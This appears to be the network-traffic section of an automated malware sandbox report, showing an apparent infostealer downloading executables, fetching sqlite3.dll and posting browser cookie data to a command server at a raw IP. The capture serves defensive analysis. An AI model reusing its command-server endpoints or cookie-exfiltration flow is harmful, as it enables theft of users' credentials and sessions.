00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:34:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:34:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Sep 2024 11:34:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sat, 21 Sep 2024 11:35:34 GMTContent-Type: application/octet-streamContent-Length: 363424Last-Modified: Thu, 19 Sep 2024 23:31:32 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ecb454-58ba0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e b2 ec 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 32 05 00 00 08 00 00 00 00 00 00 7e 51 05 00 00 20 00 00 00 60 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2c 51 05 00 4f 00 00 00 00 60 05 00 d0 05 00 00 00 00 00 00 00 00 00 00 78 65 05 00 28 26 00 00 00 80 05 00 0c 00 00 00 f4 4f 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 31 05 00 00 20 00 00 00 32 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 60 05 00 00 06 00 00 00 34 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 05 00 00 02 00 00 00 3a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 51 05 00 00 00 00 00 48 00 00 00 02 00 05 00 e0 41 05 00 14 0e 00 00 03 00 02 00 0c 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 65 4f 10 e0 7a 9d 12 3f 5a cb c3 23 e8 83 85 c0 ee 62 e2 17 74 b1 48 16 78 4b 84 98 93 07 c0 f7 fd 2b f2 05 10 2c b9 ae bc 35 37 b0 87 15 04 3e 31 8d 47 32 e9 25 6a f5 ff cb 16 fe 05 c0 75 f2 b8 2d 94 45 c7 b7 6d 52 9a 55 86 1b dd f8 2d 36 57 c8 34 9c 62 57 b2 ae af 35 e3 3e 42 a1 07 08 5d d3 a7 7f 20 04 e2 85 b0 73 b6 c3 66 15 27 af 28 6f b6 fd c7 7d bf e1 bd 6b bc 50 fd e5 71 3e 6a 92 ca 8e e4 5d 5b 54 ab 07 91 c6 db 0c a0 87 2e c4 c8 f9 a5 d1 73 8a 70 7d 48 54 2d 6f 38 2e 8c 1c 07 f1 5e 9a 9f 94 d0 05 70 0f b0 b2 7f d5 4b 37 3f c3 6e 89 74 45 4b 3e 5e e5 8c 38 1c 70 b8 d1 82 cc a5 db f1 2b a0 62 57 8c f6 ee 8b 7b 3a 53 ad b9 fc 6a c7 05 0f 5a 0f ea ae d0 a3 dc 8f b9 aa 7a 8f 64 32 e3 69 c2 a4 e3 ad f4 ee a7 36 35 b9 75 0a 7c bf 76 55 79 31 b8 01 ae f8 23 36 9e eb 08 f1 0f 12 50 14 b7 92 7d f7 24 04 de 8a 4b bf 86 5c 58 d6 a2 f3 fb 12 24 b4 d2 5a db 44 0d fd d2 f6 58 12 d7 71 8f 4b 85 5e 0

Source: global traffic	HTTP traffic detected: GET /lgsfdam.exe HTTP/1.1Host: nerv.com.peCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199780418869 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 31 43 45 31 36 43 46 45 35 33 34 32 32 38 33 31 39 34 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="hwid"C71CE16CFE534228319403------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="build"default------ECFHJKEBAAECBFHIECGI--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJDHJEGHJKECBGCFHHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 44 48 4a 45 47 48 4a 4b 45 43 42 47 43 46 48 2d 2d 0d 0a Data Ascii: ------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------KFHJJDHJEGHJKECBGCFHContent-Disposition: form-data; name="message"browsers------KFHJJDHJEGHJKECBGCFH--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFCHost: 46.8.231.109Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"plugins------BKFBAKFCBFHIJJJJDBFC--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDGHost: 46.8.231.109Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="message"fplugins------DGCGDBGCAAEBFIECGHDG--
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 46.8.231.109Content-Length: 8583Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKFHost: 46.8.231.109Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4f 44 45 7a 4d 44 41 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 6b 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 7a 41 77 4e 44 6b 35 43 55 35 4a 52 41 6b 31 4d 54 45 39 61 7a 6c 30 56 44 4e 78 4e 31 6c 6d 61 44 46 75 65 46 39 47 55 32 77 77 4e 6b 59 31 56 55 56 66 64 6d 52 68 52 6c 46 79 5a 57 6c 48 53 32 55 78 59 55 52 4f 4f 44 4e 4e 5a 58 5a 6c 52 44 64 51 54 44 46 53 57 6c 68 32 59 54 52 7a 4c 57 35 47 59 7a 6c 33 59 56 46 70 4f 55 78 30 53 32 46 32 64 56 52 4a 59 6d 45 34 54 56 56 72 62 30 64 31 4e 54 68 46 4f 45 55 34 4d 57 64 33 51 6c 39 55 56 30 6f 30 54 6d 63 74 54 47 5a 44 64 6e 70 6f 5a 57 30 33 63 6b 35 79 61 46 70 52 4d 6d 46 48 64 6b 70 61 4f 57 63 79 56 46 6c 6f 63 58 67 79 56 7a 4a 50 4e 45 55 33 64 55 68 52 65 6c 42 72 4d 33 5a 31 54 48 5a 4e 54 48 68 47 57 46 70 7a 63 55 55 32 54 6d 52 42 56 6d 6c 52 52 45 56 44 52 33 42 76 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 2d 2d 0d 0a Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwODEzMDAJMVBfSkFSCTIwMjMtMTAtMDUtMDkKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMzAwNDk5CU5JRAk1MTE9azl0VDNxN1lmaDFueF9GU2wwNkY1VUVfdmRhRlF
